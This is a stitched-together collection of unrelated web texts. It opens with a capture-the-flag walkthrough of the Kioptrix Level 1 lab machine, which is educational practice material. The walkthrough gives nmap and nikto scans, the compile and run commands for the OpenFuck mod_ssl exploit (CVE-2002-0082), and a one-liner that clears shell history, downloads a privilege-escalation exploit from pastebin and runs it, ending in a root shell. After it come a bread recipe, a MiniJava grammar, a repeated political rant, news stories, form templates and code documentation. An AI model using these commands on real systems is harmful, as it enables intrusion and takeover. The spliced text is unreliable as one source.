Kioptrix: Level 1
Kioptrix series consists of 5 vulnerable machines. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
Get VM’s IP
Nmap -sn <IP_ADDRESS>/24
Find the Kioptrix Vm IP address using the -sn(Ping Scan) flag.
Enumeration
Nmap
- -p- –> to scan ports from 1 through 65535
- -sV –> Version detection
- -sC –> script scan using the default set of scripts => equivalent to –script=default
- -A –> Aggressive scan options
- –min-rate 1000 –> 1000 packets per second
- –max-retries 5 –> number of times a packet is to be resent on a port to check
nmap -p- -sV -sC -A --min-rate 1000 --max-retries 5 <IP_ADDRESS>
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-04 16:40 EDT
Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 1.08% done; ETC: 16:44 (0:03:02 remaining)
Nmap scan report for <IP_ADDRESS>
Host is up (0.0022s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
|_ssl-date: 2021-06-04T20:45:41+00:00; +1m55s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_64_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
1024/tcp open status 1 (RPC #100024)
Host script results:
|_clock-skew: 1m54s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 182.00 seconds
That’s a lot of outdated services, Lets start with web service.
Nikto
nikto -h <IP_ADDRESS>
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 80
+ Start Time: 2021-06-05 14:45:52 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 20 error(s) and 19 item(s) reported on remote host
+ End Time: 2021-06-05 14:52:46 (GMT-4) (414 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
From the nikto scan,
mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
CVE-2002-0082 is interesting which provides remote shell.
Exploit
By searching CVE-2002-0082, exploit-db have a exploit for this CVE - click here.
Compile the c code as below,
gcc -o mod-ssl 47080.c -lcrypto
- 0x6b - Redhat Linux 7.2(Found from nmap scan)
./mod-ssl 0x6b <IP_ADDRESS> 443 -c 41
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection... 41 of 41
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8070
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget https://pastebin.com/raw/C7v25Xr9 -Orace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--16:16:49-- https://pastebin.com/raw/C7v25Xr9
=> `ptrace-kmod.c'
Connecting to pastebin.com:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
0K ... @ 655.27 KB/s
16:16:49 (655.27 KB/s) - `ptrace-kmod.c' saved [4026]
ptrace-kmod.c:183:1: warning: no newline at end of file
/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status
whoami
root
hostname
kioptrix.level1
A shell with root access.
TIP
For the above exploit to work, Both kali and Kioptrix should be in bridged network If you are hosting in Vmware.
References
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
https://www.exploit-db.com/exploits/47080


Preparation time
over 2 hours
Cooking time
10 to 30 mins
Serves
Makes 4 baguettes
Dietary
Authentic baguettes with a crunchy crust and soft fluffy crumb.
For this recipe you will need a freestanding mixer with a dough hook attachment, a 2¼ litre/4 pint square plastic container and a linen couche.
Lightly oil a 2¼ litre/4 pint square plastic container with olive oil. (It’s important to use a square tub as it helps shape the dough.)
Put the flour, salt and yeast into the bowl of a freestanding mixer fitted with a dough hook (don’t put the salt directly on top of the yeast). Add three-quarters of the water and begin mixing on a slow speed. As the dough starts to come together, slowly add the remaining water, then continue to mix on a medium speed for 5-7 minutes, until you have a glossy, elastic dough.
Tip the dough into the prepared tub. Cover and leave for 1 hour, or until at least doubled in size.
Dredge a linen couche with flour and lightly dust the work surface with flour.
Carefully tip the dough onto the work surface. Rather than knocking it back, handle it gently so you can keep as much air in the dough as possible. (This helps to create the irregular, airy texture of a really good baguette.) The dough will be wet to the touch but still lively.
Divide the dough into 4 pieces. Shape each piece into an oblong by flattening the dough out slightly and folding the sides into the middle. Then roll each up into a sausage – the top should be smooth with the join running along the length of the base. Now, beginning in the middle, roll each sausage with your hands. Don’t force it out by pressing heavily. Concentrate on the backwards and forwards movement and gently use the weight of your arms to roll out the dough to 30cm/12in long.
Lay a baguette along the edge of the linen couche and pleat the couche up against the edge of the baguette. Place another baguette next to the pleat. Repeat the process until all 4 baguettes are lined up against each other with a pleat between each. Cover the baguettes with a clean tea towel and leave for 1 hour, or until the dough has at least doubled in size and springs back quickly if you prod it lightly with your finger.
Preheat the oven to 240C/220C Fan/Gas 9 and put a roasting tray in the bottom of the oven to heat up.
When the baguettes are risen, remove them from the couche and dust lightly with flour. Slash each one 4 times along its length on the diagonal, using a razor blade or a very sharp knife. Transfer to a large baking tray.
Fill the heated roasting tray with hot water, to create steam, and put the bread into the oven. Bake for 20-25 minutes, or until the baguettes are golden-brown and have a slight sheen. Cool on a wire rack.


BNF for minijava.jj
NON-TERMINALS
Goal
::=
MainClass
(
TypeDeclaration
)* <EOF>
MainClass
::=
"class"
Identifier
"{" "public" "static" "void" "main" "(" "String" "[" "]"
Identifier
")" "{" (
VarDeclaration
)* (
Statement
)* "}" "}"
TypeDeclaration
::=
ClassDeclaration
|
ClassExtendsDeclaration
ClassDeclaration
::=
"class"
Identifier
"{" (
VarDeclaration
)* (
MethodDeclaration
)* "}"
ClassExtendsDeclaration
::=
"class"
Identifier
"extends"
Identifier
"{" (
VarDeclaration
)* (
MethodDeclaration
)* "}"
VarDeclaration
::=
Type
Identifier
";"
MethodDeclaration
::=
"public"
Type
Identifier
"(" (
FormalParameterList
)? ")" "{" (
VarDeclaration
)* (
Statement
)* "return"
Expression
";" "}"
FormalParameterList
::=
FormalParameter
FormalParameterTail
FormalParameter
::=
Type
Identifier
FormalParameterTail
::=
(
FormalParameterTerm
)*
FormalParameterTerm
::=
","
FormalParameter
Type
::=
ArrayType
|
BooleanType
|
IntegerType
|
Identifier
ArrayType
::=
BooleanArrayType
|
IntegerArrayType
BooleanArrayType
::=
"boolean" "[" "]"
IntegerArrayType
::=
"int" "[" "]"
BooleanType
::=
"boolean"
IntegerType
::=
"int"
Statement
::=
Block
|
AssignmentStatement
|
ArrayAssignmentStatement
|
IfStatement
|
WhileStatement
|
PrintStatement
Block
::=
"{" (
Statement
)* "}"
AssignmentStatement
::=
Identifier
"="
Expression
";"
ArrayAssignmentStatement
::=
Identifier
"["
Expression
"]" "="
Expression
";"
IfStatement
::=
"if" "("
Expression
")"
Statement
"else"
Statement
WhileStatement
::=
"while" "("
Expression
")"
Statement
PrintStatement
::=
"System.out.println" "("
Expression
")" ";"
Expression
::=
AndExpression
|
CompareExpression
|
PlusExpression
|
MinusExpression
|
TimesExpression
|
ArrayLookup
|
ArrayLength
|
MessageSend
|
Clause
AndExpression
::=
Clause
"&&"
Clause
CompareExpression
::=
PrimaryExpression
"<"
PrimaryExpression
PlusExpression
::=
PrimaryExpression
"+"
PrimaryExpression
MinusExpression
::=
PrimaryExpression
"-"
PrimaryExpression
TimesExpression
::=
PrimaryExpression
"*"
PrimaryExpression
ArrayLookup
::=
PrimaryExpression
"["
PrimaryExpression
"]"
ArrayLength
::=
PrimaryExpression
"." "length"
MessageSend
::=
PrimaryExpression
"."
Identifier
"(" (
ExpressionList
)? ")"
ExpressionList
::=
Expression
ExpressionTail
ExpressionTail
::=
(
ExpressionTerm
)*
ExpressionTerm
::=
","
Expression
Clause
::=
NotExpression
|
PrimaryExpression
PrimaryExpression
::=
IntegerLiteral
|
TrueLiteral
|
FalseLiteral
|
Identifier
|
ThisExpression
|
ArrayAllocationExpression
|
AllocationExpression
|
BracketExpression
IntegerLiteral
::=
<INTEGER_LITERAL>
TrueLiteral
::=
"true"
FalseLiteral
::=
"false"
Identifier
::=
<IDENTIFIER>
ThisExpression
::=
"this"
ArrayAllocationExpression
::=
BooleanArrayAllocationExpression
|
IntegerArrayAllocationExpression
BooleanArrayAllocationExpression
::=
"new" "boolean" "["
Expression
"]"
IntegerArrayAllocationExpression
::=
"new" "int" "["
Expression
"]"
AllocationExpression
::=
"new"
Identifier
"(" ")"
NotExpression
::=
"!"
Clause
BracketExpression
::=
"("
Expression
")"


census d3
select state:
select state
bar
|
line
|
area
[todo: create states/counties pop data graphs.]


73 in the past 30 days and 1 pick. 1,213 since you joined.
Sell the NHS, inflate a huge deadly housing bubble, connive in Osborne's relentless socialization of business risk and privatization of guaranteed profits (at our expense), give students the stinkfinger on fees, fail at every chance to stick up for the policies on which his party rode to their sad slice of pretend power, but...
Try to buy the middle class with some free meals at school. A policy he knows he can never deliver.
Sure as hell sounds like the Nick Clegg I have come to understand these last years. Never again, Nick. Never, ever again.
test paragraph
Sell the NHS, inflate a huge deadly housing bubble, connive in Osborne's relentless socialization of business risk and privatization of guaranteed profits (at our expense), give students the stinkfinger on fees, fail at every chance to stick up for the policies on which his party rode to their sad slice of pretend power, but...
Try to buy the middle class with some free meals at school. A policy he knows he can never deliver.
Sure as hell sounds like the Nick Clegg I have come to understand these last years. Never again, Nick. Never, ever again.
Sell the NHS, inflate a huge deadly housing bubble, connive in Osborne's relentless socialization of business risk and privatization of guaranteed profits (at our expense), give students the stinkfinger on fees, fail at every chance to stick up for the policies on which his party rode to their sad slice of pretend power, but...
Try to buy the middle class with some free meals at school. A policy he knows he can never deliver.
Sure as hell sounds like the Nick Clegg I have come to understand these last years. Never again, Nick. Never, ever again.
Sell the NHS, inflate a huge deadly housing bubble, connive in Osborne's relentless socialization of business risk and privatization of guaranteed profits (at our expense), give students the stinkfinger on fees, fail at every chance to stick up for the policies on which his party rode to their sad slice of pretend power, but...
Try to buy the middle class with some free meals at school. A policy he knows he can never deliver.
Sure as hell sounds like the Nick Clegg I have come to understand these last years. Never again, Nick. Never, ever again.
Sell the NHS, inflate a huge deadly housing bubble, connive in Osborne's relentless socialization of business risk and privatization of guaranteed profits (at our expense), give students the stinkfinger on fees, fail at every chance to stick up for the policies on which his party rode to their sad slice of pretend power, but...
Try to buy the middle class with some free meals at school. A policy he knows he can never deliver.
Sure as hell sounds like the Nick Clegg I have come to understand these last years. Never again, Nick. Never, ever again.
Sell the NHS, inflate a huge deadly housing bubble, connive in Osborne's relentless socialization of business risk and privatization of guaranteed profits (at our expense), give students the stinkfinger on fees, fail at every chance to stick up for the policies on which his party rode to their sad slice of pretend power, but...
Try to buy the middle class with some free meals at school. A policy he knows he can never deliver.
Sure as hell sounds like the Nick Clegg I have come to understand these last years. Never again, Nick. Never, ever again.


Marvel comics book sells for a whooping $1.26 million at an auction
by AFP REUTERSREUTERS: A 1939 comic book that introduced Marvel characters for the first time sold for a record $1.26 million at auction, Dallas-based auctioneer Heritage Auctions said on Thursday.
Marvel Comics No. 1 features the first appearances of characters including Human Torch and the Sub-Mariner. Decades later, Marvel debuted Spider-Man, the Incredible Hulk and other superheroes that have headlined recent blockbuster films.
The item was originally purchased at a newsstand by a Pennsylvania mailman. The book’s condition was rated as 9.4 on a scale of 1 to 10, the auctioneer said.
The sale was part of a four-day auction of vintage comic books and comic art.
The previous record-holder for a Marvel Comics book was a 1962 issue featuring the first appearance of Spider-Man, which sold for $1.1 million in 2011.
A handful of other comic books have topped the $1 million price tag. In 2014, a Superman comic was purchased for $3.2 million on eBay.
On the film front, Marvel have recently announced three new superheros to land in Marvel’s Cinematic Universe (MCU). CEO Kevin Feige revealed the news, however, their secret identity was not published initially. The studio’s president claimed that they will first be introduced in Disney+ television shows and then end up in Marvel movies.
Nevertheless, in a conversation with The Hollywood Reporter, Feige revealed that it would actually be Ms Marvel, Moon Knight and She-Hulk that will show up in films. The Ms Marvel series will focus on a Pakistani-American teenager named Kamala Khan. The superhero will be the first Muslim character to lead her own comic book.


This is my HTML/CSS/JS sandbox. I will develop a HTML webpage without any boosts or templates whatsoever, completely from scratch.


Methods
Public Class methods
[ show source ]
# File vendor/rails/actionpack/lib/action_controller/reloader.rb, line 4 4: def initialize(body) 5: @body = body 6: end
Public Instance methods
[ show source ]
# File vendor/rails/actionpack/lib/action_controller/reloader.rb, line 8 8: def close 9: @body.close if @body.respond_to?(:close) 10: ensure 11: Dispatcher.cleanup_application 12: end
[ show source ]
# File vendor/rails/actionpack/lib/action_controller/reloader.rb, line 14 14: def method_missing(*args, &block) 15: @body.send(*args, &block) 16: end
[ show source ]
# File vendor/rails/actionpack/lib/action_controller/reloader.rb, line 18 18: def respond_to?(symbol, include_private = false) 19: symbol == :close || @body.respond_to?(symbol, include_private) 20: end


Soil drilling to begin in Reindahl Park
by Logan RudeMADISON, Wis. - Engineering crews will start drilling vertical holes at the end of Nov. in Reindahl Park to test the soil for its strength for the Imagination Center at Reindahl Park project, according to a news release.
The holes will be 6-nches wide and 20-feet deep so engineering crews can determine the soil's consistency, strength and durability. The results will be used to help with planning the building's foundation, floor slab, pavement design and construction, according to the release.
According to the release, the holes will be refilled once the work is done.
CGC, Inc. has been hired to oversee the work and Badger State Drilling as the subcontractor for the drilling, which will take several days, according to the release.


Pick an option
Yes
No
How many dependents?
Pick an option
0
1
2
3+
Select your education level
Pick an option
Graduate
Not Graduate
Are you Self_Employed?
Pick an option
Yes
No
Applicant Income
Co-Applicant Income
Enter Loan Amount
Enter Loan Amount Term
Credit History(Have you repaid previous debts?)
Pick an option
Yes
No
Property area you own?
Pick an option
Semi Urban
Urban
Rural
PREDICT
{{ pred_text }}


This application was developed in collaboration with
Cardiff University and developed by
Lauren Welsh.
The application is intended to be used to support changes within the production department in order to increase profit margins. For
further details about this application and its use within Viridor email
<EMAIL_ADDRESS>The analysis performed in this application was completed using automated methods within WEKA (a data mining application) and a
combination of manual data analytics. Cluster analysis was used to determine the relative profitability of a shift given its level
of production in comparison with other shifts.
Data for both Product A and Product B have been analysed using cluster analysis to give each shift a profitability measure. This measure can
be one of three values, following Viridor's current traffic light system used within Procurement and HR.
This system was chosen by the management department within the Stockport, UK site and can be discussed directly with them. For a detailed outline
of the analysis process and its findings please refer to
Cardiff University - Lauren Welsh: Dissertation 2015.
Q: In terms of shift groups, the groups rotate on a working rota which remains constant. Is it possible that one group is setting up for another?
A: It is possible that this is a contributing factor to the profitability of a shift. However the group rota distributes the shifts relatively evenly across the week. Therefore
any direct impact of one shift group setting up for another should be off-put against each group evenly in the course of a month.
Q: Are clean down days causing the difference seen in daily production levels?
A: There has been no evidence found in this analysis to suggest the clean down rota is the cause for the difference in production levels.
Further analysis would be required with details provided of this cycle. However, a six day cycle as is currently used should shift production
levels evenly across week days in the period of a month due to the clean down day not occurring on the same day consecutively.
Q: Is there one day which is always more profitable?
A: Thursday shifts have consistently out performed other days in production levels, making them the more profitable.
Q: What is the cause of the difference in profitability on Thursdays?
A: The analysis was unable to identify the root cause of this difference in production. It is possible that this cause is generated by
differences in shift groups and management on Thursday's. This is a topic which can be discussed further with the Head of Production.


Given the more recent boom in the coding industry, learning a programming language could open one's opportunity into the tech world. Fill out this questionnaire to see what language may be your best fit! To do so, first enter your contact information to get results!
Check out what is the your best fit by selecting the statements that match you best!
When you think of programming, what do you imagine?
If the world were to end, which would you take with you?
Who would you save first if they were drowning?
When it comes to websites, what do you like best?
Congratulations ! You seem to match best with !
Looks like the best match with you is to continue with learning your own human language! Since this is already in english, you must already understand it! Although maybe, you are used to a different region of english (e.g., Britain, Australian, Canadian). In any case, you match best with english! You can visit
english wiki to learn more about this language!
JavaScript(JS) is the language for you! In this language, you get to capture the power of creating the logic and functioning of a webpage or app! To learn more about JS, you can visit
MDN Web doc to learn more about the great utility this language can offer!
C# is the language for you! You can learn how to write any application using the C# programming language on the .NET platform. To learn more about C# please visit
C# documentation. Good luck with researching and hopefully gaining a career through this knowledge!
Ruby is the language for you! Ruby is a dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax, that is natural to read and easy to write! To learn more, please visit
ruby-lang.
Within a few days, we will contact you at your provided email address () for follow-up information.
If you like the result, great! If not, please click the button to reset the quiz.
, looks like you can take !! No preference for you.
You can be a jack of all trades :)! This means you can choose any or all of the above!  While this could be the case, it might also mean that coding is not the right choice for you! It's up to you to decide~ good luck with your conquest!!!
Within a few days, we will contact you at your provided email address () to talk about other career paths OR taking on all programming languages!
If you like the result, great! If not, please click the button to reset the quiz.


Feel hungry? Use Vision Blocks to detect motion on foodcam. Whenver the food is served, you will not miss again.
See yourself in an intrestingly distorted way. There are many distortion blocks defined and can be combined with other effects. Not satisfied? Develop an even facier one and drop us a line!
Setup a camera and let Vision Blocks to protect your store/home. In case there are any suspectible movement, Vision Blocks will detect it and send you a notification.
Too many faces to recognize and count in a photo from classmates reunion? Let Vision Blocks help! Count how many faces present in your photo/video.
Found an image that is too complex? Filter out a certain color in an image so that you can focus on the essential part you are interested.
Detect the optical flow of yourself in webcam and create a cool visualization of your own motion.
Make your own pixel art right now. Just a couple of simple drag-and-drops. Artistic talent is nice to have, but not required. You can also customize the pixel art effect by providing several simple parameters.
Try invert the color of yourself in the webcam. Create a ghosty effect and play with your friends!
Protect what you love. Set up a script to warn you about intruders -- all from your webcam.


This app helps to prepare for the Grange Display at the Fall Festival in Stardew Valley. It will calculate the score for manually-entered items and also search through a save file to recommend which item combination would give the highest possible score. Stored items from mods will be checked and included when analyzing a save, but will generally not be selectable in the menus. All new items from version 1.4 should be supported and included in the menus. Note this means using this app could spoil some of the new content.
The app is written in Javascript and uses jQuery and Select2; it is hosted on GitHub Pages at https://mouseypounds.github.io/stardew-fair-helper/ and the source code repository is https://github.com/MouseyPounds/stardew-fair-helper. Please report any bugs, suggestions, or other feedback to the topic in the Chucklefish forums.
If you would like the app to scan a save file in order to recommend what items to use for the display, you can select the save file below:
Please use the full save file named with your farmer's name (or farm name) and an ID number (e.g. Fred_148093307); do not use the SaveGameInfo file as it does not contain all the necessary information.
Default save file locations are:
This section will be filled in automatically when loading a save, but it can also be edited manually to experiment with other options or to use the app without a save. When analyzing a multiplayer save, it is assumed that all players are online and all players' professions are included. When manually selecting professions, the app will enforce the prerequisites of the base game (i.e. checking "Angler" will also check "Fisher".)
Note: you cannot select the Lucky Purple Shorts as a choice and the app will ignore them when making suggestions since that item causes a special outcome with a fixed reward.


US Dollar Index loses momentum near 97.90
by Pablo Piovano- DXY met strong resistance around 97.90.
- US-China trade concerns weigh on global mood.
- US housing sector results came in mixed.
The greenback, in terms of the US Dollar Index (DXY), has failed to extend the daily recovery further north of the 97.90 region.
US Dollar Index hurt by trade jitters
The index could not sustain the earlier advance to the vicinity of 97.90 and sellers turned up in tandem with fresh concerns on the US-China trade war front – particularly from Chinese officials - amidst increasing scepticism on a positive outcome of the negotiations surrounding the ‘Phase One’ partial deal.
Adding downside pressure to the buck, the US housing sector printed mixed results in October, as Housing Starts expanded below consensus by 1.314M units (or 3.8%) and Building Permits surpassed estimates expanding by 1.461M units (or 5.0%).
Later in the week, the FOMC minutes should grab all the attention on Wednesday seconded by the Philly Fed manufacturing gauge on Thursday and the final November Consumer Sentiment print on Friday.
What to look for around USD
The index seems to have charted a short-term top in the 98.50 region for the time being. In the meantime, headlines from the US-China trade dispute are expected to remain as the exclusive driver when comes to price action in the global markets. Other than that, investors stay focused on the recent US results in key fundamentals amidst declining yields and the steepening of the 2y-10y yield curve seen as of late. Moving to US politics, markets keep ignoring the Trump’s impeachment developments, while the impact on the FX space remains muted. On the broader view, however, the outlook on the greenback still looks constructive on the back of the Fed’s ‘wait-and-see’ mode vs. the dovish stance from its G10 peers, the dollar’s safe haven appeal and the status of ‘global reserve currency’.
US Dollar Index relevant levels
At the moment, the pair is losing 0.01% at 97.82 and faces immediate contention at 97.68 (monthly low Nov.18) seconded by 97.55 (200-day SMA) and finally 97.11 (monthly low Nov.1). On the flip side, a breakout of 98.45 (monthly high Nov.13) would open the door to 99.25 (high Oct.8) and then 99.67 (2019 high Oct.1).


WIP
'Surface' Flutter Package
Surface is a shapeable, layered, intrinsincally animated container Widget offering convenient access to blurring ImageFilters, Material InkResponse, and HapticFeedback; plus a number of customization parameters.
- Work in progress transfer from an Android application on which I am primarily focused.
- Standard approaches and a bit of bespoke shape-crafting; more options should be available down the line.
- The package currently includes a couple goodies that I use in my project. I would like to incorporate these extra features more tightly with Surface.
- Color extensions
Color.withBlack(int subtract)
andColor.withWhite(int add)
may be handy at least. - A modified
SplashFactory
calledCustomInk
is present in goodies.dart as well.
- Color extensions
- This is my first public package and I expect things may still be altered greatly.
TODO:
-
Intrinsic animations of
Surface.corners
property change.- Currently there is a conditional swap where any Surface build method utilizes the Beveled Shape to a RoundedRect Shape.
- Ideally, I believe, there would be a
Decoration.lerp()
involved. - This "aggravates" the simplicity of
Surface
to develop, but would provide a better end-user result: more accurate and performant animations that are just as easy to use. (Almost effortless? 😉)
-
Differed radius on
innerSurface
when usingSurfaceCorners.ROUND
vsborderContainer
- Smaller inner radius gives a better aesthetic for nested rounded rectangles
WIP
Surface Example
See some example usage of the Surface package for Flutter included here.
- Surface Example Android source:
/example/lib/main.dart
- Surface Example APK


Advertisements
Header
Main Nav
Home
About
Products
Advertisements
Contact Us
Social Media
row1
row2
Social Media


Classes
The following classes are available globally.
-
This class functions as a cell that, given an array of objects, will generate an SCArrayOfObjectsSection detail view that’s displayed when the cell is tapped.
The cell can also be optionally bound to an object and generate an additional SCObjectSection detail view when the cell is tapped while the table is in edit mode.
See moreSee
SCObjectCell, SCObjectSection, SCArrayOfObjectsSection.Declaration
Objective-C
@interface SCArrayOfObjectsCell : SCCustomCell { SCDataStore *dataStore; SCDataFetchOptions *dataFetchOptions; BOOL allowAddingItems; BOOL allowDeletingItems; BOOL allowMovingItems; BOOL allowEditDetailView; BOOL allowRowSelection; BOOL autoSelectNewItemCell; BOOL displayItemsCountInBadgeView; SCTableViewCell *placeholderCell; SCTableViewCell *addNewItemCell; BOOL addNewItemCellExistsInNormalMode; BOOL addNewItemCellExistsInEditingMode; SCSectionActions *_detailSectionActions; }
-
This class functions as a table view model that is able to represent an array of any kind of objects and automatically generate its cells from these objects. In addition, ‘SCArrayOfObjectsModel’ generates its detail views from the properties of the corresponding object in its items array. Objects in the items array need not all be of the same object type, but they must all decend from NSObject.
‘SCArrayOfItemsModel’ will automatically generate a set of SCArrayOfObjectsSection(s) if the sectionHeaderTitleForItem modelAction is implemented, otherwise it will only generate a single SCArrayOfObjectsSection.
See moreDeclaration
Objective-C
@interface SCArrayOfObjectsModel : SCArrayOfItemsModel { NSString *searchPropertyName; }
-
This class functions as an SCTableViewModel section that is able to represent an array of any kind of objects and automatically generate its cells from these objects. In addition, ‘SCArrayOfObjectsSection’ generates its detail views from the properties of the corresponding object in its items array. Objects in the items array need not all be of the same object type, but they must all decend from NSObject. If more than one type of object is present in the items array, then their respective class definitions should be added to the itemsClassDefinitions set.
See moreSee
SCObjectSection, SCObjectCell.Declaration
Objective-C
@interface SCArrayOfObjectsSection : SCArrayOfItemsSection
-
SCArrayStore is an SCDataStore subclass that encapsulates NSArray memory storage, providing means for the SC framework to communicate with this array storage to fetch, add, update and remove data objects.
Note
It is very rare when you’ll need to create an SCArrayStore instance yourself, as it’s typically automatically created for you when you use data definitions such as SCClassDefinition and SCDictionaryDefinition. For example, when you use the SCArrayOfObjectsSection initializer method called [SCArrayOfObjectsSection sectionWithHeaderTitle:items:itemsDefinition:], SCArrayOfObjectsSection automatically sets its dataStore property by calling your itemsDefinition’s [SCDataDefinition generateCompatibleDataStore:] method.
See moreNote
For more information on data stores, check out the SCDataStore base class documentation.
Declaration
Objective-C
@interface SCArrayStore : SCDataStore
-
This class provides as a badge view similar to the one used by iPhone’s mail application to display the number of messages in an inbox. SCBadgeView is typically used by SCTableViewCell to display these kind of badges.
Sample use: SCTableViewCell *cell = [SCTableViewCell cellWithText:@“Number of pending tasks”]; cell.badgeView.text = @“50”;
See also: SCTableViewCell
Declaration
Objective-C
@interface SCBadgeView : UILabel
-
This class hosts a set of cell action blocks. Once an action is set to a desired code block, it will execute the block as soon as the action occurs.
See moreSee
SCSectionActions, SCModelActions.Declaration
Objective-C
@interface SCCellActions : NSObject
-
This class functions as a means to further extend the definition of user-defined classes. Using class definitions, classes like SCObjectCell and SCObjectSection will be able to better generate user interface elements that truly represent the properties of their bound objects. For more information, please refer to SCDataDefinition.
Upon creation, SCClassDefinition will (optionally) automatically generate all the property definitions for the given class. From there, the user will be able to customize the generated property definitions, add new definitions, or remove generated definitions.
